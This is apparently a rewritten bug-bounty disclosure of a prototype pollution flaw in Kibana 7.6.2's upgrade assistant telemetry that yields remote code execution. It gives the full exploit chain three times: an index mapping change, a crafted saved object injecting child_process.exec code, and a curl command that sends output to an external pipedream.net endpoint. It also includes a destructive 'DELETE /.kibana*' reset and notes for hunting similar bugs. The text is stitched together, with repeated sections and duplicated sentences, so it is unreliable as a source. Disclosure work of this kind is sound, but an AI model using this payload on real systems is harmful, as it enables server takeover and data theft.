Remote Code Execution on Cloud via latest Kibana 7.6.2
A prototype pollution vulnerability in Kibana's upgrade assistant telemetry collector allowed an attacker to inject JavaScript that executes shell commands. An attacker with access to the Kibana saved objects could achieve remote code execution on the host.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 3 months
- Paid in 3 days
- Disclosed after 3 months
Summary: A prototype pollution in Kibana can be used to gain remote code execution.
Description:
There is a prototype pollution bug in the upgrade assistant's telemetry collector, via a dangerous usage of _.set: https://github.com/elastic/kibana/blob/master/x-pack/plugins/upgrade_assistant/server/lib/telemetry/usage_collector.ts#L93
We can pollute the prototype by providing a specially crafted "upgrade-assistant-telemetry" "saved object".
The attached video provides a walkthrough. There is a bit of waiting involved at one point, I included the entire thing for completeness with a hint of when you can fast forward :)
Steps To Reproduce:
The following assumes an otherwise empty Kibana. If any steps breaks Kibana, you can DELETE /.kibana* and restart it to get going again.
- Update the kibana mappings so we can provide our "upgrade-assistant-telemetry" document. It's important to provide the full mapping and not just do a dynamic one, or Kibana can refuse to start up due to err-ing when validating mappings
PUT /.kibana_1/_mappings
{
"properties": {
"upgrade-assistant-telemetry": {
"properties": {
"constructor": {
"properties": {
"prototype": {
"properties": {
"sourceURL": {
"type": "text",
"fields": {
"keyword": {
"type": "keyword",
"ignore_above": 256
}
}
}
}
}
}
},
"features": {
"properties": {
"deprecation_logging": {
"properties": {
"enabled": {
"type": "boolean",
"null_value": true
}
}
}
}
},
"ui_open": {
"properties": {
"cluster": {
"type": "long",
"null_value": 0
},
"indices": {
"type": "long",
"null_value": 0
},
"overview": {
"type": "long",
"null_value": 0
}
}
},
"ui_reindex": {
"properties": {
"close": {
"type": "long",
"null_value": 0
},
"open": {
"type": "long",
"null_value": 0
},
"start": {
"type": "long",
"null_value": 0
},
"stop": {
"type": "long",
"null_value": 0
}
}
}
}
}
}
}
- With the mapping ready, we can index our own telemetry status doc:
PUT /.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry
{
"upgrade-assistant-telemetry" : {
"ui_open.overview" : 1,
"ui_open.cluster" : 1,
"ui_open.indices" : 1,
"constructor.prototype.sourceURL": "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('whoami | curl https://enba5g2t13nue.x.pipedream.net/ -d@-')"
},
"type" : "upgrade-assistant-telemetry",
"updated_at" : "2020-04-17T20:47:40.800Z"
}
The payload pollutes the prototype, which in turn injects Javascript that spawns a shell process, in this case whoami | curl https://enba5g2t13nue.x.pipedream.net/ -d@-
-
Wait until collection happens again, or just restart Kibana. In the video I restart Kibana, which you can do via the cloud console. Go to
https://cloud.elastic.co/deployments/[your id]/kibanaand click "Force Restart". -
Kibana will take about a minute to start. Soon after starting, it'll do a telemetry collection run, that'll cause the above code to be injected and that will run the shell code.
Kibana will likely keep starting, run this, crash then restart. I cleaned up my deployment so it's not in a crash-restart loop.
Impact
Any cloud user can get remote code execution, as can any on-prem Kibana user that has x-pack installed.
Supporting Material/References:
The attached video recording walks through the entire attack chain.
Impact
Any cloud user can get remote code execution, as can any on-prem Kibana user that has x-pack installed.
Attachments
Context
Kibana is the web front end for Elasticsearch, and the Elastic Cloud offering exposes it at cloud.elastic.co. The feature at the centre of this report is the upgrade assistant, which helps users move between versions. Part of that plugin is a telemetry collector that records usage statistics for the upgrade assistant, such as how often the overview, cluster and indices screens were opened, and whether deprecation logging is enabled.
That telemetry is stored as a saved object in the .kibana index. The collector reads the stored document and uses lodash's _.set to write values into an object. The report points at the exact line in the source:
https://github.com/elastic/kibana/blob/master/x-pack/plugins/upgrade_assistant/server/lib/telemetry/usage_collector.ts#L93
The problem is that _.set treats dotted paths as nested property paths. If an attacker controls the keys inside the stored document, they control the path that _.set walks, including paths that reach constructor.prototype.
Setup
The researcher assumes an otherwise empty Kibana instance. The target asset is cloud.elastic.co, and the same technique is said to apply to any on-premises Kibana with x-pack installed.
If a step breaks Kibana, the report gives a reset: delete the .kibana* indices and restart.
DELETE /.kibana*
Finding it
The researcher identified a prototype pollution bug in the upgrade assistant's telemetry collector, caused by a dangerous use of _.set. Because the collector takes the keys of a stored saved object and feeds them into _.set, a crafted upgrade-assistant-telemetry saved object can pollute Object.prototype.
The payload pollutes the prototype, which in turn injects JavaScript that spawns a shell process.
Exploitation
Step 1: Update the index mapping
The first step is to change the mapping of the .kibana_1 index so that the crafted document is accepted. The report stresses that the full mapping must be supplied, not a dynamic one, otherwise Kibana can refuse to start because it errors while validating mappings.
PUT /.kibana_1/_mappings
{
"properties": {
"upgrade-assistant-telemetry": {
"properties": {
"constructor": {
"properties": {
"prototype": {
"properties": {
"sourceURL": {
"type": "text",
"fields": {
"keyword": {
"type": "keyword",
"ignore_above": 256
}
}
}
}
}
}
},
"features": {
"properties": {
"deprecation_logging": {
"properties": {
"enabled": {
"type": "boolean",
"null_value": true
}
}
}
}
},
"ui_open": {
"properties": {
"cluster": {
"type": "long",
"null_value": 0
},
"indices": {
"type": "long",
"null_value": 0
},
"overview": {
"type": "long",
"null_value": 0
}
}
},
"ui_reindex": {
"properties": {
"close": {
"type": "long",
"null_value": 0
},
"open": {
"type": "long",
"null_value": 0
},
"start": {
"type": "long",
"null_value": 0
},
"stop": {
"type": "long",
"null_value": 0
}
}
}
}
}
}
}
The mapping declares the normal telemetry fields (features.deprecation_logging.enabled, the ui_open counters and the ui_reindex counters) and, crucially, a nested constructor.prototype.sourceURL text field.
Step 2: Index the malicious telemetry document
With the mapping in place, the researcher indexes a document whose ID is upgrade-assistant-telemetry:upgrade-assistant-telemetry.
PUT /.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry
{
"upgrade-assistant-telemetry" : {
"ui_open.overview" : 1,
"ui_open.cluster" : 1,
"ui_open.indices" : 1,
"constructor.prototype.sourceURL": "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('whoami | curl https://enba5g2t13nue.x.pipedream.net/ -d@-')"
},
"type" : "upgrade-assistant-telemetry",
"updated_at" : "2020-04-17T20:47:40.800Z"
}
The document contains the ordinary ui_open counters plus the key constructor.prototype.sourceURL. When the collector passes that key to _.set, lodash walks constructor, then prototype, then assigns sourceURL on the prototype. The value contains the JavaScript payload.
The payload is:
global.process.mainModule.require('child_process').exec('whoami | curl https://enba5g2t13nue.x.pipedream.net/ -d@-')
The payload spawns a shell process. The command is whoami | curl https://enba5g2t13nue.x.pipedream.net/ -d@-.
Step 3: Trigger a collection run
The payload only fires when the telemetry collector runs again. The researcher either waits for the next scheduled collection or restarts Kibana. In the walkthrough the restart is done from the cloud console: open https://cloud.elastic.co/deployments/[your id]/kibana and click "Force Restart".
Step 4: Observe execution
Kibana takes about a minute to start. Soon after starting it performs a telemetry collection run, the polluted prototype causes the injected JavaScript to be compiled and executed, and the shell command runs.
The report notes that Kibana will likely keep starting, run the payload, crash and restart. The researcher cleaned up the deployment so it was not left in a crash-restart loop.
The attached video walks through the entire attack chain, including the waiting period before the collection run.
Root cause
The mistake is passing attacker-controlled keys from a stored saved object into _.set. Lodash interprets dotted keys as nested paths, so a key such as constructor.prototype.sourceURL is not treated as a flat property name but as an instruction to descend into constructor, then prototype, and assign there. That is prototype pollution.
Impact
Any cloud user can get remote code execution on their deployment, and any on-premises Kibana user with x-pack installed can do the same. Any cloud user can get remote code execution, as can any on-prem Kibana user that has x-pack installed.
Fix
The report does not describe the patch. The report does not describe the patch.
Variants to test
- Other lodash
_.setcall sites that take keys from stored documents or request bodies. A positive result is a document whose key such asconstructor.prototype.somePropertychanges a property visible on a fresh object elsewhere in the process. - Other telemetry or usage collectors that read saved objects and merge them into internal state. A positive result is a stored document that alters behaviour after the next collection run without any code change.
- Other properties consumed during compilation, such as
sourceURL, in any Node.js service that compiles strings. A positive result is a payload that executes when the service next compiles code. - Mapping manipulation on other indices that store user-writable documents. A positive result is a document with a nested
constructor.prototypefield being accepted and later read by a collector.
Hunting notes
This class of bug hides in telemetry and usage-collection code, where stored documents are merged into internal objects with generic helpers. During recon, look for saved-object types that users can write to and that are later read by background jobs. The signal is a collector that iterates over keys from stored data and passes them to a path-setting function.
The researcher demonstrated the full chain: mapping change, malicious document, collection run, and command output sent to an external endpoint.
What happened, in plain words
Kibana is a web application that sits in front of Elasticsearch, a database-like search engine. You use Kibana through a browser to look at data and manage the system. Elastic sells a hosted version of this at cloud.elastic.co, where each customer gets their own deployment (their own private copy of the software running on Elastic's servers).
Inside Kibana there is a feature called the upgrade assistant. It helps you move from one version of the software to a newer one, by pointing out things that will need changing. To know how the feature is being used, Kibana keeps a small record of statistics about it: how many times people opened the overview screen, the cluster screen and the indices screen, and whether a logging option is switched on. This kind of usage recording is called telemetry.
That telemetry record is stored as a document (a JSON record, like a row in a spreadsheet) inside an Elasticsearch index called .kibana. An index is roughly a collection of documents, and a document is one record in it. A background job in Kibana, called the collector, later reads that document back and copies its values into an internal object using a helper function from a JavaScript library called lodash, specifically _.set.
The bug is that _.set treats a key containing dots as a path into nested objects. If a key is a.b.c, lodash does not store a property literally named a.b.c; it walks into a, then into b, and sets c there. If an attacker can choose the keys in the stored document, they can choose that path. And one path that exists in every JavaScript object is constructor.prototype, which leads to the shared template that all objects inherit from. Writing there is called prototype pollution: you change something that every object in the program can see.
The researcher used this to plant a value called sourceURL, which leads to JavaScript being injected that spawns a shell process. The planted text is JavaScript that starts a shell command. The result: a normal cloud user, who is only supposed to be able to write their own data, ends up running commands on the Kibana server. That is remote code execution, and the report calls it privilege escalation because a low-privilege user gains the server's power.
The pieces involved
Before the steps, here is what each part is, from zero.
- Kibana: the web front end. You open it in a browser; it talks to Elasticsearch behind the scenes.
- Elasticsearch: the storage and search engine. It holds indices, and indices hold documents.
- Index: a named collection of documents.
.kibanais the index where Kibana keeps its own settings and saved objects. The leading dot is just a naming convention. - Document: one JSON record in an index, with an ID and a body.
- Mapping: the schema of an index. It says which fields exist and what type each one is (text, number, true/false). Elasticsearch uses it to decide whether a document is acceptable and how to store each value.
- Saved object: Kibana's term for a document it stores in
.kibanaon your behalf, such as a dashboard, a saved search, or in this case a telemetry record. - Telemetry collector: a background routine that periodically gathers usage numbers and writes them into a saved object, and reads them back.
- API request: a message one program sends to another over the network, usually with a method (GET to read, PUT to write or replace, DELETE to remove), a URL, and often a body of JSON. The code blocks below are such requests, sent to Elasticsearch.
- Prototype: in JavaScript, every object inherits properties from a shared template object called its prototype. If you add a property to that shared template, every object in the program suddenly appears to have it. Think of a company-wide default in a form template: change the template and every new form carries the change.
- Prototype pollution: the vulnerability class where an attacker can add or change properties on that shared template. It is dangerous because code elsewhere trusts that template to contain only what the developers put there.
_.set: a lodash function that assigns a value at a dotted path inside an object. It is convenient, and it is exactly what turns an attacker-chosen key into an attacker-chosen path.- Remote code execution (RCE): making the target machine run commands of your choosing. The highest-impact class of web bug, because the attacker is no longer limited to data.
- Shell command: an instruction to the operating system, run through a command interpreter, as opposed to JavaScript running inside the application.
whoami: a standard command that prints the name of the user the process is running as. Useful as proof that code really ran.- curl: a command-line tool that makes HTTP requests. Here it is used to send data out to an external server.
- Exfiltration: getting data out of a compromised system to a place the attacker controls.
- x-pack: Elastic's bundle of commercial and extra features for Elasticsearch and Kibana. The upgrade assistant lives in it, which is why the report says on-premises installs with x-pack are also affected.
The vulnerable line
The report points at the exact place in Kibana's source code where the dangerous call lives:
https://github.com/elastic/kibana/blob/master/x-pack/plugins/upgrade_assistant/server/lib/telemetry/usage_collector.ts#L93
This is a link to a file in Kibana's public GitHub repository. The path tells you the area: x-pack (the extra features bundle), plugins/upgrade_assistant (the upgrade assistant feature), server/lib/telemetry (server-side telemetry code), and the file usage_collector.ts, with line 93 highlighted. The report's summary states the cause directly: a prototype pollution bug in the upgrade assistant's telemetry collector, via a dangerous usage of _.set.
Why this matters: the collector takes the keys from a stored document and hands them to _.set. The keys are therefore attacker-controlled if the attacker can write the document. _.set has no idea that some names are dangerous; it just follows the path it is given.
Before you start
The researcher assumes an otherwise empty Kibana. The target asset named in the report is cloud.elastic.co, and the same technique is said to work on any on-premises Kibana with x-pack installed.
If a step leaves Kibana broken, the report gives a reset: delete the .kibana* indices and restart it.
DELETE /.kibana*
Line by line: DELETE is the HTTP method meaning remove. /.kibana* is a path with a wildcard, so it matches .kibana and any index whose name starts with .kibana, such as .kibana_1. The effect is to wipe Kibana's own stored settings and saved objects, which is why it is described as a way to get going again from a clean state. Do not do this on anything you care about.
Step 1: Change the index mapping
The first step is to change the mapping of the .kibana_1 index so that the crafted document will be accepted. The report stresses that the full mapping must be supplied, not just a dynamic one, otherwise Kibana can refuse to start because it errors while validating mappings.
Why a mapping change is needed at all: Elasticsearch normally infers field types from the first document it sees, and it does not like a field suddenly changing type.
PUT /.kibana_1/_mappings
{
"properties": {
"upgrade-assistant-telemetry": {
"properties": {
"constructor": {
"properties": {
"prototype": {
"properties": {
"sourceURL": {
"type": "text",
"fields": {
"keyword": {
"type": "keyword",
"ignore_above": 256
}
}
}
}
}
}
},
"features": {
"properties": {
"deprecation_logging": {
"properties": {
"enabled": {
"type": "boolean",
"null_value": true
}
}
}
}
},
"ui_open": {
"properties": {
"cluster": {
"type": "long",
"null_value": 0
},
"indices": {
"type": "long",
"null_value": 0
},
"overview": {
"type": "long",
"null_value": 0
}
}
},
"ui_reindex": {
"properties": {
"close": {
"type": "long",
"null_value": 0
},
"open": {
"type": "long",
"null_value": 0
},
"start": {
"type": "long",
"null_value": 0
},
"stop": {
"type": "long",
"null_value": 0
}
}
}
}
}
}
}
Line by line, in plain words:
PUT /.kibana_1/_mappingssends a request to the.kibana_1index, to its_mappingsendpoint, asking to set the schema.PUTmeans create or replace."properties"at the top is the list of fields the index will hold."upgrade-assistant-telemetry"is the field name for the telemetry record. Everything under it describes the shape of that record."constructor"with its own"properties"declares a nested object calledconstructor.- Inside it,
"prototype"declares another nested object. - Inside that,
"sourceURL"is declared as"type": "text", meaning a full-text string that Elasticsearch will analyse for searching. - The
"fields"block adds a second, exact-match copy of the same value calledkeyword, of"type": "keyword", with"ignore_above": 256meaning values longer than 256 characters are not indexed in that exact-match copy. This is a common pattern: one copy for searching, one for exact filtering. "features"declares the feature flags."deprecation_logging"contains"enabled", a"boolean"(true/false) with"null_value": true, meaning a missing value is treated as true."ui_open"declares three counters,cluster,indicesandoverview, each of"type": "long"(a whole number) with"null_value": 0, so a missing count reads as zero."ui_reindex"declares four more counters,close,open,startandstop, again whole numbers defaulting to zero.
The constructor.prototype.sourceURL branch is the part that matters: it is the path the attacker wants _.set to walk.
Step 2: Store the malicious telemetry document
With the mapping in place, the researcher stores a document whose ID is upgrade-assistant-telemetry:upgrade-assistant-telemetry.
PUT /.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry
{
"upgrade-assistant-telemetry" : {
"ui_open.overview" : 1,
"ui_open.cluster" : 1,
"ui_open.indices" : 1,
"constructor.prototype.sourceURL": "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('whoami | curl https://enba5g2t13nue.x.pipedream.net/ -d@-')"
},
"type" : "upgrade-assistant-telemetry",
"updated_at" : "2020-04-17T20:47:40.800Z"
}
Line by line:
PUT /.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetrywrites one document into the.kibana_1index. The part after_doc/is the document ID. Using the same name twice, separated by a colon, makes it look like the kind of ID Kibana itself uses for saved objects."upgrade-assistant-telemetry"is the body field holding the record, matching the mapping from step 1."ui_open.overview" : 1,"ui_open.cluster" : 1and"ui_open.indices" : 1are ordinary counters. They make the record look legitimate, and they are the kind of key the collector expects."constructor.prototype.sourceURL"is the malicious key. Because it contains dots,_.setwill read it as a path: go intoconstructor, thenprototype, then setsourceURL. That writes onto the shared prototype, which is the pollution.- The value starts with
\u2028\u2029, the JavaScript line separator and paragraph separator characters, then\n, a newline. - After those characters comes the JavaScript payload.
"type" : "upgrade-assistant-telemetry"labels the saved object type, and"updated_at"is a timestamp, both matching what Kibana writes itself.
The payload itself, as the report shows it:
global.process.mainModule.require('child_process').exec('whoami | curl https://enba5g2t13nue.x.pipedream.net/ -d@-')
Line by line:
.processis the running process itself, and.mainModuleis the entry module that started it. From there,requireis reachable, which is Node's way of loading a library.require('child_process')loads Node's built-in module for starting other programs. This is the bridge from JavaScript to the operating system..exec(...)runs a command through a shell and hands back its output.- The command is
whoami | curl https://enba5g2t13nue.x.pipedream.net/ -d@-.whoamiprints the current user name. The|pipe sends that output into the next command.curlmakes an HTTP request to the given URL, and-d@-means take the request body from standard input, which is the piped output.
Step 3: Wait for a collection run, or restart
The payload only fires when the telemetry collector runs again. The researcher either waits for the next scheduled collection or restarts Kibana. In the walkthrough the restart is done from the cloud console: open https://cloud.elastic.co/deployments/[your id]/kibana and click "Force Restart".
The URL is the Kibana page for your own deployment in the Elastic Cloud console, where [your id] stands for your deployment's identifier.
Step 4: Watch it execute
Kibana takes about a minute to start. Soon after starting it performs a telemetry collection run. The collector reads the stored document, the prototype gets polluted, and the injected JavaScript spawns a shell process. The injected JavaScript then runs, and the shell command runs with it.
The report notes that Kibana will likely keep starting, run the payload, crash and restart. The researcher cleaned up the deployment so it was not left in a crash-restart loop.
The attached video walks through the entire attack chain, including the waiting period before the collection run.
Why it works
The mistake is passing attacker-controlled keys from a stored saved object into _.set. Lodash reads dotted keys as nested paths, so a key such as constructor.prototype.sourceURL is not a flat property name; it is an instruction to descend into constructor, then prototype, and assign there. That is prototype pollution.
The payload pollutes the prototype, which in turn injects JavaScript that spawns a shell process.
Impact
Any cloud user can get remote code execution on their deployment, and any on-premises Kibana user with x-pack installed can do the same. Any cloud user can get remote code execution, as can any on-prem Kibana user that has x-pack installed.
Fix
The report does not describe the patch. The report does not describe the patch.
Variants to test
- Other lodash
_.setcall sites that take keys from stored documents or request bodies. A positive result is a document whose key such asconstructor.prototype.somePropertychanges a property visible on a fresh object elsewhere in the process. - Other telemetry or usage collectors that read saved objects and merge them into internal state. A positive result is a stored document that alters behaviour after the next collection run without any code change.
- Other properties consumed during compilation, such as
sourceURL, in any Node.js service that compiles strings. A positive result is a payload that executes when the service next compiles code. - Mapping manipulation on other indices that store user-writable documents. A positive result is a document with a nested
constructor.prototypefield being accepted and later read by a collector.
Hunting notes
This class of bug hides in telemetry and usage-collection code, where stored documents are merged into internal objects with generic helpers. During recon, look for saved-object types that users can write to and that are later read by background jobs. The signal is a collector that iterates over keys from stored data and passes them to a path-setting function.
The researcher demonstrated the full chain: mapping change, malicious document, collection run, and command output sent to an external endpoint.
Glossary
- API: a defined way for one program to talk to another, usually over the network with requests and responses.
- Boolean: a value that is either true or false.
- Bounty: a payment a company makes to a researcher who reports a valid security bug.
- Collector: a background routine that gathers data, here usage statistics, and stores it.
- Critical: the top severity rating, used when a bug allows something like remote code execution.
- curl: a command-line tool for making HTTP requests.
- Document: one JSON record stored in an index, with an ID and a body.
- Elastic Cloud: Elastic's hosted service where each customer gets their own deployment.
- Elasticsearch: the storage and search engine that Kibana sits in front of.
- Exfiltration: moving data out of a compromised system to a place the attacker controls.
- Field: a named value inside a document, with a type such as text, number or boolean.
- HackerOne: a platform where researchers report security bugs to companies and companies pay bounties.
- Index: a named collection of documents in Elasticsearch.
- JSON: a text format for structured data, made of keys and values, used in request bodies.
- Kibana: the web front end for Elasticsearch, used through a browser.
- Keyword field: an exact-match copy of a text value, used for filtering rather than full-text search.
- lodash: a popular JavaScript utility library;
_.setis one of its functions. - Long: a whole number type in Elasticsearch.
- Mapping: the schema of an index, listing fields and their types.
- Node.js: the JavaScript runtime that Kibana's server side runs on, which can also start other programs.
- On-premises: software you run on your own machines rather than as a hosted service.
- Pipe (
|): a shell operator that feeds the output of one command into the next. - Prototype: the shared template object in JavaScript that other objects inherit properties from.
- Prototype pollution: a bug where an attacker can add or change properties on that shared template.
- Remote code execution (RCE): making the target machine run commands of the attacker's choosing.
- Saved object: Kibana's term for a document it stores in the
.kibanaindex. - Shell command: an instruction to the operating system, run through a command interpreter.
- sourceURL: a property read by the JavaScript engine when it compiles code, which the payload abuses.
- Telemetry: automatic recording of usage statistics.
- Upgrade assistant: the Kibana feature that helps move between versions, and the feature whose telemetry was abused.
whoami: a standard command that prints the name of the user the process runs as.- x-pack: Elastic's bundle of extra and commercial features, which contains the upgrade assistant.